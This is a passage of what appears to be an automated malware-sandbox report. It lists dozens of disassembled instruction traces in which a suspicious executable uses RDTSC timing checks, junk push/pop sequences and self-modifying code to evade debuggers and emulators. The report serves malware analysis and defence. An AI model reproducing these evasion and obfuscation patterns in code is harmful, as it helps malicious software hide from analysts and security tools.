Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4B29 second address: 5E4B2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4B2F second address: 5E4B34 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4C9E second address: 5E4CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8894B81529h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4CC3 second address: 5E4CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4CC7 second address: 5E4CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop ecx 0x0000000e jmp 00007F8894B8151Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4CE6 second address: 5E4CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F889508B64Fh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E8AB0 second address: 5E8AC7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F8894B81522h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E8AC7 second address: 5E8AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E8AD4 second address: 5E8AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E8AD8 second address: 5E8B25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B651h 0x00000007 jnp 00007F889508B646h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F889508B656h 0x00000015 jmp 00007F889508B650h 0x0000001a jmp 00007F889508B64Ah 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E8B25 second address: 5E8B2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E8B2D second address: 5E8B33 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E9505 second address: 5E950C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5EA09A second address: 5EA0B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F889508B658h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5EA1F7 second address: 5EA202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8894B81516h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5EA33E second address: 5EA347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5EA347 second address: 5EA34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5EA34B second address: 5EA34F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F1168 second address: 5F11AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F8894B81535h 0x0000000e jmp 00007F8894B81525h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F4273 second address: 5F4277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F52E6 second address: 5F52EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F52EB second address: 5F5311 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F889508B651h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F889508B64Dh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F71EA second address: 5F726D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F8894B81518h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 js 00007F8894B8151Ah 0x00000029 mov bx, A3F0h 0x0000002d push 00000000h 0x0000002f jno 00007F8894B81523h 0x00000035 mov dword ptr [ebp+12459F28h], esi 0x0000003b push 00000000h 0x0000003d jns 00007F8894B8151Ch 0x00000043 mov bx, 1E5Eh 0x00000047 xchg eax, esi 0x00000048 jl 00007F8894B81527h 0x0000004e jbe 00007F8894B81521h 0x00000054 jmp 00007F8894B8151Bh 0x00000059 push eax 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F726D second address: 5F7271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F7271 second address: 5F7275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F8214 second address: 5F8218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F8218 second address: 5F821C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F821C second address: 5F8222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5FA45C second address: 5FA4C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F8894B81516h 0x00000009 jmp 00007F8894B81524h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 cmc 0x00000015 push 00000000h 0x00000017 jmp 00007F8894B8151Ah 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F8894B81518h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 jmp 00007F8894B81522h 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 jno 00007F8894B81516h 0x00000047 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5FA4C8 second address: 5FA4D1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5FA4D1 second address: 5FA4D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5FA4D7 second address: 5FA4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F889508B64Ch 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5FD65F second address: 5FD665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5FD665 second address: 5FD669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5FD669 second address: 5FD713 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F8894B81518h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push edx 0x00000028 jno 00007F8894B81519h 0x0000002e pop ebx 0x0000002f jmp 00007F8894B81523h 0x00000034 push 00000000h 0x00000036 call 00007F8894B81527h 0x0000003b pop edi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007F8894B81518h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 00000017h 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 xchg eax, esi 0x00000059 push edx 0x0000005a jmp 00007F8894B81528h 0x0000005f pop edx 0x00000060 push eax 0x00000061 pushad 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5FD713 second address: 5FD719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 600773 second address: 600777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 602906 second address: 60290A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 60290A second address: 60290E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 60290E second address: 60291A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 60291A second address: 602929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F8894B81516h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 6039C5 second address: 6039C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 6039C9 second address: 603A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F8894B81518h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push eax 0x00000023 cld 0x00000024 pop edi 0x00000025 push 00000000h 0x00000027 mov ebx, ecx 0x00000029 push 00000000h 0x0000002b pushad 0x0000002c xor ecx, dword ptr [ebp+122D1BF1h] 0x00000032 and ax, 4915h 0x00000037 popad 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jp 00007F8894B81516h 0x00000042 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 603A14 second address: 603A28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F889508B64Ch 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5EAF59 second address: 5EAF5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5EB90A second address: 5EB90E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5EB90E second address: 5EB917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5ED504 second address: 5ED50A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5ED50A second address: 5ED510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5ED510 second address: 5ED514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 60768A second address: 6076C9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8894B81521h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8894B81523h 0x00000011 push esi 0x00000012 jc 00007F8894B81516h 0x00000018 jmp 00007F8894B8151Dh 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 6076C9 second address: 6076D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F889508B646h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5A6A6E second address: 5A6A81 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007F8894B81516h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5A6A81 second address: 5A6A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5A6A85 second address: 5A6A92 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 60E60C second address: 60E610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 60E610 second address: 60E625 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a jns 00007F8894B81518h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 60DFB8 second address: 60DFD1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F889508B653h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 60DFD1 second address: 60DFD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 60DFD7 second address: 60DFDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 60DFDB second address: 60DFE5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8894B81516h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 59E197 second address: 59E1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F889508B656h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 59E1BD second address: 59E1C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 59E1C1 second address: 59E1DD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F889508B650h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 59E1DD second address: 59E1F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81520h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5EDFF3 second address: 5EDFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5EDFF7 second address: 5EE013 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jng 00007F8894B81516h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 jng 00007F8894B81534h 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 615D3E second address: 615D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 615D42 second address: 615D76 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F8894B81524h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push edx 0x00000013 jg 00007F8894B81518h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 615D76 second address: 615D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5A8598 second address: 5A85B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8894B81527h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F44A0 second address: 5F44AA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 619B1C second address: 619B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F54E1 second address: 5F54E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 619B20 second address: 619B6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81527h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F8894B81521h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F8894B81529h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F54E7 second address: 5F54EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 619B6F second address: 619B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8894B81529h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F54EC second address: 5F5508 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F889508B650h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F63D6 second address: 5F643F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81523h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or edi, 7500FA63h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 or bx, CC53h 0x00000025 mov eax, dword ptr [ebp+122D0099h] 0x0000002b and edi, 6CFCA46Fh 0x00000031 mov edi, dword ptr [ebp+122D39D7h] 0x00000037 push FFFFFFFFh 0x00000039 sub dword ptr [ebp+122D2608h], ecx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 jmp 00007F8894B81526h 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F5508 second address: 5F550F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F643F second address: 5F6444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F6444 second address: 5F6449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F7489 second address: 5F74A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81522h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F74A6 second address: 5F74AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5F74AA second address: 5F74B4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 44F922 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 44F9FF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F0209 instructions caused by: Self-modifying code
